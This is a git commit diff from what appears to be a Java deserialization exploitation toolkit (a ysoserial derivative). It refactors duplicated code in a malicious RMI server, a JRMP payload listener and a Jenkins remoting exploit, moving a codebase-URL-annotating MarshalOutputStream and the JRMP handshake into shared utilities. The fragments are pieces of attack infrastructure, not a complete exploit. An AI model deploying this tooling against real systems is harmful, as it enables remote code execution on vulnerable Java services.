fix: 去除RMIServer中的重复代码段

This commit is contained in:
qi4l
2026-04-28 21:59:03 +08:00
parent 2dfb53a66d
commit 32432ff2bf
6 changed files with 18 additions and 88 deletions
+11 -46
View File
@@ -2,6 +2,8 @@ package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic; import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor; import com.qi4l.JYso.controllers.rmi.ELProcessor;
import com.qi4l.JYso.gadgets.utils.JRMPUtils;
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
@@ -12,7 +14,6 @@ import sun.rmi.transport.TransportConstants;
import javax.naming.Reference; import javax.naming.Reference;
import javax.net.ServerSocketFactory; import javax.net.ServerSocketFactory;
import java.io.BufferedInputStream; import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.io.IOException; import java.io.IOException;
@@ -20,13 +21,11 @@ import java.io.InputStream;
import java.io.ObjectInputStream; import java.io.ObjectInputStream;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass; import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.ServerSocket; import java.net.ServerSocket;
import java.net.Socket; import java.net.Socket;
import java.net.SocketException; import java.net.SocketException;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException; import java.rmi.MarshalException;
import java.rmi.server.ObjID; import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject; import java.rmi.server.RemoteObject;
@@ -51,15 +50,16 @@ import static org.fusesource.jansi.Ansi.ansi;
public class RMIServer implements Runnable { public class RMIServer implements Runnable {
private final ServerSocket ss; private final ServerSocket ss;
private final Object waitLock = new Object(); private final Object waitLock = new Object();
private final URL classpathUrl; private final URL classpathUrl;
private boolean exit; private boolean exit;
public RMIServer(int port, URL classpathUrl) throws IOException { public RMIServer(int port, URL classpathUrl) throws IOException {
this.classpathUrl = classpathUrl; this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(port); this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
} }
@SuppressWarnings("HttpUrlsUsage")
public static void start() { public static void start() {
String url = (codeBase == null || codeBase.isEmpty()) ? "http://" + ip + ":" + httpPort + "/" : codeBase; String url = (codeBase == null || codeBase.isEmpty()) ? "http://" + ip + ":" + httpPort + "/" : codeBase;
@@ -105,16 +105,11 @@ public class RMIServer implements Runnable {
bufIn.mark(4); bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) { try (DataInputStream in = new DataInputStream(bufIn)) {
int magic = in.readInt(); DataOutputStream out = JRMPUtils.handshake(in, s);
short version = in.readShort(); if (out == null) {
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue; continue;
} }
try {
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try (DataOutputStream out = new DataOutputStream(bufOut)) {
byte protocol = in.readByte(); byte protocol = in.readByte();
switch (protocol) { switch (protocol) {
case TransportConstants.StreamProtocol: case TransportConstants.StreamProtocol:
@@ -137,8 +132,9 @@ public class RMIServer implements Runnable {
continue; continue;
} }
bufOut.flush();
out.flush(); out.flush();
} finally {
out.close();
} }
} }
} catch (InterruptedException e) { } catch (InterruptedException e) {
@@ -286,35 +282,4 @@ public class RMIServer implements Runnable {
private String normalizeClassName(String classPathLikeName) { private String normalizeClassName(String classPathLikeName) {
return classPathLikeName.replace('/', '.').trim(); return classPathLikeName.replace('/', '.').trim();
} }
static final class MarshalOutputStream extends ObjectOutputStream {
private final URL sendUrl;
MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
} }
@@ -1,5 +1,6 @@
package com.qi4l.JYso.exceptions; package com.qi4l.JYso.exceptions;
@SuppressWarnings("unused")
public class UnSupportedActionTypeException extends RuntimeException { public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() { public UnSupportedActionTypeException() {
super(); super();
@@ -1,6 +1,7 @@
package com.qi4l.JYso.exceptions; package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException { public class UnSupportedGadgetTypeException extends RuntimeException {
@SuppressWarnings("unused")
public UnSupportedGadgetTypeException() { public UnSupportedGadgetTypeException() {
super(); super();
} }
@@ -1,6 +1,7 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
import sun.rmi.transport.TransportConstants; import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory; import javax.net.SocketFactory;
@@ -88,45 +89,5 @@ public class JRMPClient {
} }
} }
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
} }
@@ -1,6 +1,7 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath; import javassist.ClassClassPath;
import javassist.ClassPool; import javassist.ClassPool;
@@ -263,7 +264,7 @@ public class JRMPListener implements Runnable {
System.err.println("Sending return with payload for obj " + read); System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn); oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos); new UID().write(oos);
@@ -2,6 +2,7 @@ package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener; import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable; import hudson.remoting.Callable;
import hudson.remoting.Channel; import hudson.remoting.Channel;
@@ -167,7 +168,7 @@ public class JenkinsListener {
dos.write(TransportConstants.Call); dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(obj); objOut.writeLong(obj);
objOut.writeInt(o1); objOut.writeInt(o1);